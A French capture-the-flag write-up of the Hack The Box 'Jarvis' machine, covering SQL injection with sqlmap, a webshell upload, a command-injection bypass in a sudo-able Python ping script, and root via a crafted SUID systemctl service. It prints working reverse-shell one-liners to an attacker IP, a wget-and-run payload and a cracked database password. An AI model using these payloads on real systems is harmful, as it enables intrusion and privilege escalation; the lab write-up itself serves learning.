Hack The Box - Jarvis

[NO ENGLISH VERSION - Only French is available for this post]

Jarvis est une machine Linux catégorisée comme facile/moyenne. L’exploitation d’un injection SQL sur le site web permet de récupérer un accès limité. Une première phase d’escalade de privilège est réalisée grâce à une injection de commande dans un script. Enfin, la compromission de la machine peut être faite grâce à un binaire SUID (systemctl) en construisant un service.

Disclaimer : Il s’agit d’une présentation plutôt rapide qui omet volontairement les différents axes de recherche. Seul les résultats effectifs ainsi qu’une rapide démarche sont présentés.

Découverte

Un rapide scan de ports permet d’obtenir les services présents sur la machine.

$ nmap -T4 -sS -Pn -p- -oN nmap_all_ports.txt -v 10.10.10.143
Nmap scan report for 10.10.10.143
Host is up (0.022s latency).
Not shown: 65529 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
5355/tcp  filtered llmnr
9911/tcp  open     sype-transport
33333/tcp open     dgi-serv
64999/tcp open     unknown
$ nmap -T4 -sS -Pn -p 22,80,9911,33333,64999 -O -sV -oN nmap_specific.txt -v 10.10.10.143
Nmap scan report for 10.10.10.143
Host is up (0.020s latency).

PORT      STATE SERVICE         VERSION
22/tcp    open  ssh             OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp    open  http            Apache httpd 2.4.25 ((Debian))
9911/tcp  open  sype-transport?
33333/tcp open  dgi-serv?
64999/tcp open  http            Apache httpd 2.4.25 ((Debian))
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33333-TCP:V=7.80%I=7%D=9/2%Time=5D6CDA02%P=x86_64-pc-linux-gnu%r(NU
SF:LL,33,"sh:\x200:\x20can't\x20access\x20tty;\x20job\x20control\x20turned
SF:\x20off\r\n\$\x20")%r(GenericLines,43,"sh:\x200:\x20can't\x20access\x20
SF:tty;\x20job\x20control\x20turned\x20off\r\n\$\x20\r\n\r\n\r\n\r\n\$\x20
SF:\$\x20\$\x20\$\x20")%r(GetRequest,68,"GET\x20/\x20HTTP/1\.0\r\n\r\n\r\n
SF:\r\nsh:\x200:\x20can't\x20access\x20tty;\x20job\x20control\x20turned\x2
SF:0off\r\n\$\x20sh:\x201:\x20GET:\x20not\x20found\r\n\$\x20\$\x20\$\x20\$
SF:\x20")%r(HTTPOptions,70,"OPTIONS\x20/\x20HTTP/1\.0\r\n\r\n\r\n\r\nsh:\x
SF:200:\x20can't\x20access\x20tty;\x20job\x20control\x20turned\x20off\r\n\
SF:$\x20sh:\x201:\x20OPTIONS:\x20not\x20found\r\n\$\x20\$\x20\$\x20\$\x20"
SF:)%r(RTSPRequest,70,"OPTIONS\x20/\x20RTSP/1\.0\r\n\r\n\r\n\r\nsh:\x200:\
SF:x20can't\x20access\x20tty;\x20job\x20control\x20turned\x20off\r\n\$\x20
SF:sh:\x201:\x20OPTIONS:\x20not\x20found\r\n\$\x20\$\x20\$\x20\$\x20")%r(D
SF:NSVersionBindReqTCP,35,"\^Csh:\x200:\x20can't\x20access\x20tty;\x20job\
SF:x20control\x20turned\x20off\r\n\$\x20")%r(DNSStatusRequestTCP,4F,"\^@\^
SF:L\^@\^@\^P\^@\^@\^@\^@\^@\^@\^@\^@\^@sh:\x200:\x20can't\x20access\x20tt
SF:y;\x20job\x20control\x20turned\x20off\r\n\$\x20")%r(Help,57,"HELP\r\n\r
SF:\nsh:\x200:\x20can't\x20access\x20tty;\x20job\x20control\x20turned\x20o
SF:ff\r\n\$\x20sh:\x201:\x20HELP:\x20not\x20found\r\n\$\x20\$\x20")%r(SSLS
SF:essionReq,39,"\^C\^A\^@sh:\x200:\x20can't\x20access\x20tty;\x20job\x20c
SF:ontrol\x20turned\x20off\r\n\$\x20")%r(TerminalServerCookie,3B,"\^C\^@\^
SF:@\^@sh:\x200:\x20can't\x20access\x20tty;\x20job\x20control\x20turned\x2
SF:0off\r\n\$\x20")%r(TLSSessionReq,39,"\^C\^E\^Bsh:\x200:\x20can't\x20acc
SF:ess\x20tty;\x20job\x20control\x20turned\x20off\r\n\$\x20")%r(Kerberos,3
SF:B,"\^C\^B\^A\^Bsh:\x200:\x20can't\x20access\x20tty;\x20job\x20control\x
SF:20turned\x20off\r\n\$\x20")%r(SMBProgNeg,109,"\^@\^@\^@\xa4\xffSMBr\^@\
SF:^@\^@\^@\^H\^A@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@\^@@\^F\^@\^@\^A\
SF:^@\^@\x81\^@\^BPC\x20NETWORK\x20PROGRAM\x201\.0\^@\^BMICROSOFT\x20NETWO
SF:RKS\x201\.03\^@\^BMICROSOFT\x20NETWORKS\x203\.0\^@\^BLANMAN1\.0\^@\^BLM
SF:1\.2X002\^@\^BSamba\^@\^BNT\x20LANMAN\x201\.0\^@\^BNT\x20LM\x200\.12\^@
SF:sh:\x200:\x20can't\x20access\x20tty;\x20job\x20control\x20turned\x20off
SF:\r\n\$\x20");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.12 (94%), Linux 3.13 (94%), Linux 3.16 (94%), Linux 3.8 - 3.11 (94%), Linux 4.4 (94%), Linux 3.18 (93%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.495 days (since Sun Sep  1 23:09:57 2019)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Injection SQL

Le port 80 étant ouvert, les recherches commencent par ici. Il s’agit du site web d’un hôtel, utilisé pour présenter ce dernier et réserver des chambres. Un rapide parcourt du site permet de remarquer une URL intéressante :

http://10.10.10.143/room.php?cod=1

On pense directement à une injection SQL. Quelques tests basiques à base de “simples quotes” permettent de mettre en évidence la présence de la vulnérabilité.

A ce moment là, deux possibilités. Exploitation à la main ou automatisée. Dans le cadre de cette machine, j’ai préféré automatiser l’exploitation, à l’aide de sqlmap.

$ sqlmap -u "http://10.10.10.143/room.php?cod=1"
$ sqlmap -u "http://10.10.10.143/room.php?cod=1" --dbs
$ sqlmap -u "http://10.10.10.143/room.php?cod=1" -D mysql --tables
$ sqlmap -u "http://10.10.10.143/room.php?cod=1" -D mysql -T user --dump

Les commandes ci-dessus permettent de parcourir les différentes bases de données et leurs tables. On récupère ainsi l’utilisateur DBadmin ainsi que son hash. Sqlmap propose également de tenter de casser ce hash à l’aide de wordlists. Dans le cas de Jarvis, le mot de passe de l’utilisateur est relativement faible.

User : DBadmin
Password : imissyou

A partir de là, plusieurs choses possibles (j’ai appris plus tard qu’un PHPMyAdmin vulnérable était présent). J’ai personnellement choisi d’uploader directement un webshell sur la machine, à l’aide de sqlmap également (PHP webshell).

$ sqlmap -u "http://10.10.10.143/room.php?cod=1" --os-shell
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.3.9#stable}
|_ -| . [.]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[...]

[14:00:57] [INFO] retrieved web server absolute paths: '/images/'
[14:00:57] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[14:00:57] [WARNING] unable to upload the file stager on '/var/www/'
[14:00:57] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[14:00:57] [WARNING] expect junk characters inside the file as a leftover from UNION query
[14:00:57] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
[14:00:57] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[14:00:57] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpuldjj.php
[14:00:58] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbivlw.php
[14:00:58] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] command standard output: 'www-data'

Énumération locale

Afin de récupérer un accès plus stable et confortable, on peut exécuter un revershe shell en python.

os-shell> python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ATTACKER-IP>",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
$ nc -lvvp 2233
listening on [any] 2233 ...
10.10.10.143: inverse host lookup failed: Unknown host
connect to [10.10.13.221] from (UNKNOWN) [10.10.10.143] 34156
/bin/sh: 0: can't access tty; job control turned off
$

Pour encore plus de confort, on pop un bash complet à l’aide de python.

$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@jarvis:/var/www/html$ 

Et une phase d’énumération commence… On peut par exemple utiliser le très bon script LinEnum.sh (https://github.com/rebootuser/LinEnum) permettant d’avoir une vue d’ensemble mais assez précise de la machine et de trouver d’éventuels points faibles.

Afin d’illustrer la suite, voici le contenu du fichier /etc/passwd.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin

Script sudo et injection de commandes

Ci-dessous, un élément intéressant provenant de LinEnum.sh.

[+] We can sudo without supplying a password!
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: 

Il est donc possible d’utiliser le script /var/www/Admin-Utilities/simpler.py avec sudo en temps que “pepper”.

www-data@jarvis:/tmp$ file /var/www/Admin-Utilities/simpler.py
file /var/www/Admin-Utilities/simpler.py
/var/www/Admin-Utilities/simpler.py: Python script, ASCII text executable

www-data@jarvis:/tmp$ ls -la /var/www/Admin-Utilities/          
ls -la /var/www/Admin-Utilities/
total 16
drwxr-xr-x 2 pepper pepper 4096 Mar  4  2019 .
drwxr-xr-x 4 root   root   4096 Mar  4  2019 ..
-rwxr--r-- 1 pepper pepper 4587 Mar  4  2019 simpler.py

Une rapide analyse du code source (disponible ci-dessous) révèle que l’outil réalise entre autres un ping après que l’utilisateur ait rentré une adresse IP à joindre.

#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    '''
    print(message)

def show_header():
    print('''***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************
''')

def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()
    
    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1
    
    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)
    
def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req
            
def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
    return month_dict[name]
    
def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
            if int(j.split(' ')[4]) > int(level):
                level = j.split(' ')[4]
                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
    return level, req
    
def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

if __name__ == '__main__':
    show_header()
    if len(sys.argv) != 2:
        show_help()
        exit()
    if sys.argv[1] == '-h' or sys.argv[1] == '--help':
        show_help()
        exit()
    elif sys.argv[1] == '-s':
        show_statistics()
        exit()
    elif sys.argv[1] == '-l':
        list_ip()
        exit()
    elif sys.argv[1] == '-p':
        exec_ping()
        exit()
    else:
        show_help()
        exit()

On a donc :

  • Une exécution de commande ;
  • Lancée après un input utilisateur ;
  • Par un script qui peut être lancé avec sudo ;
  • Avec des droits utilisateurs (plus élevés), sans mot de passe.

Mmh.. What could go wrong ? ¯\_(ツ)_/¯¯

On se rend rapidement compte qu’un petit filtre est en place. Après quelques tentatives, un bypass, tout aussi simple est trouvé et permet d’exécuter la commande que l’on souhaite, en déclenchant une erreur dans la commande ping exécutée.

$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************

Enter an IP: $(cat /etc/passwd)
$(cat /etc/passwd)

ping: sshd:x:107:65534::/run/sshd:/usr/sbin/nologin: Temporary failure in name resolution

Ainsi, on peut facilement construire un reverse shell, qui sera exécuté avec les droits de l’utilisateur pepper. Pour cette fois ci, plutôt que d’exécuter directement une commande bash (notamment à cause des filtres) et puisque la machine dispose de l’outil wget, j’ai choisi d’upload sur cette dernière un script bash exécutant mon reverse shell.

A noter qu’il est nécessaire d’upload et modifier le fichier avec l’injection de commandes afin que ce dernier dispose des bons droits d’exécution et puisse donner un shell avec le bon utilisateur.

$ cat pwn.sh                
#!/bin/bash -p

bash -i >& /dev/tcp/10.10.13.221/4455 0>&1
$(wget http://10.10.13.221:8000/pwn.sh)
$(chmod +x pwn.sh)
$(./pwn.sh)
$ nc -lvvp 4455
listening on [any] 4455 ...
10.10.10.143: inverse host lookup failed: Unknown host
connect to [10.10.13.221] from (UNKNOWN) [10.10.10.143] 40742
pepper@jarvis:/var/www/html$ 

Escalade de privilèges via systemctl

Une seconde phase d’énumération et de recherche permet d’identifier, au travers de LinEnum encore une fois, un binaire intéressant.

[-] SUID files:
-rwsr-xr-x 1 root root 30800 Aug 21  2018 /bin/fusermount
-rwsr-xr-x 1 root root 44304 Mar  7  2018 /bin/mount
-rwsr-xr-x 1 root root 61240 Nov 10  2016 /bin/ping
-rwsr-x--- 1 root pepper 174520 Feb 17  2019 /bin/systemctl
-rwsr-xr-x 1 root root 31720 Mar  7  2018 /bin/umount
-rwsr-xr-x 1 root root 40536 May 17  2017 /bin/su
-rwsr-xr-x 1 root root 40312 May 17  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 59680 May 17  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 75792 May 17  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 40504 May 17  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 140944 Jun  5  2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 50040 May 17  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 440728 Mar  1  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 42992 Mar  2  2018 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

En effet, il est possible pour tout membre du groupe pepper de lancer systemctl… Intéressant et anormal ! Après quelques recherches, il s’avère qu’il semble possible de procéder à une escalade de privilège par ce biais (https://gtfobins.github.io/gtfobins/systemctl/).

Le binaire étant SUID, cela signifie que les services créés seront exécutés avec les droits root. On peut ainsi penser à créer nous même un service, suivant le lien ci-dessus, afin de récupérer un accès root à la machine.

Let’s craft !

echo '[Service]' > /home/pepper/test.service
echo 'Type=oneshot' >> /home/pepper/test.service
echo 'ExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.13.221/6677 0>&1"' >> /home/pepper/test.service
echo '[Install]' >> /home/pepper/test.service
echo 'WantedBy=multi-user.target' >> /home/pepper/test.service

On va maintenant lier notre service à systemctl puis le démarrer. Ainsi l’instruction ExecStart sera lancée au démarrage.

NOTE 1 : Il est à noter que l’exploitation ne peut se faire dans /tmp, probablement à cause d’une option noexec. Ainsi, il est nécessaire de déplacer le service dans /home/pepper.

NOTE 2 : Petit point qui m’a fait tourner en rond, il est obligatoire de fournir le chemin absolu vers le service à systemctl… Pas de chemin relatif !

pepper@jarvis:~$ /bin/systemctl link /home/pepper/test.service
/bin/systemctl link /home/pepper/test.service
Created symlink /etc/systemd/system/test.service -> /home/pepper/test.service.

pepper@jarvis:~$ /bin/systemctl enable --now /home/pepper/test.service 
/bin/systemctl enable --now /home/pepper/test.service
Created symlink /etc/systemd/system/multi-user.target.wants/test.service -> /home/pepper/test.service.

Le listener netcat en écoute, on récupère bien une connexion au lancement du service !

$ nc -lvvp 6677
listening on [any] 6677 ...
10.10.10.143: inverse host lookup failed: Unknown host
connect to [10.10.13.221] from (UNKNOWN) [10.10.10.143] 56954
bash: cannot set terminal process group (3253): Inappropriate ioctl for device
bash: no job control in this shell
root@jarvis:/# id 
id
uid=0(root) gid=0(root) groups=0(root)

w00ted !

Hack The Box - Haystack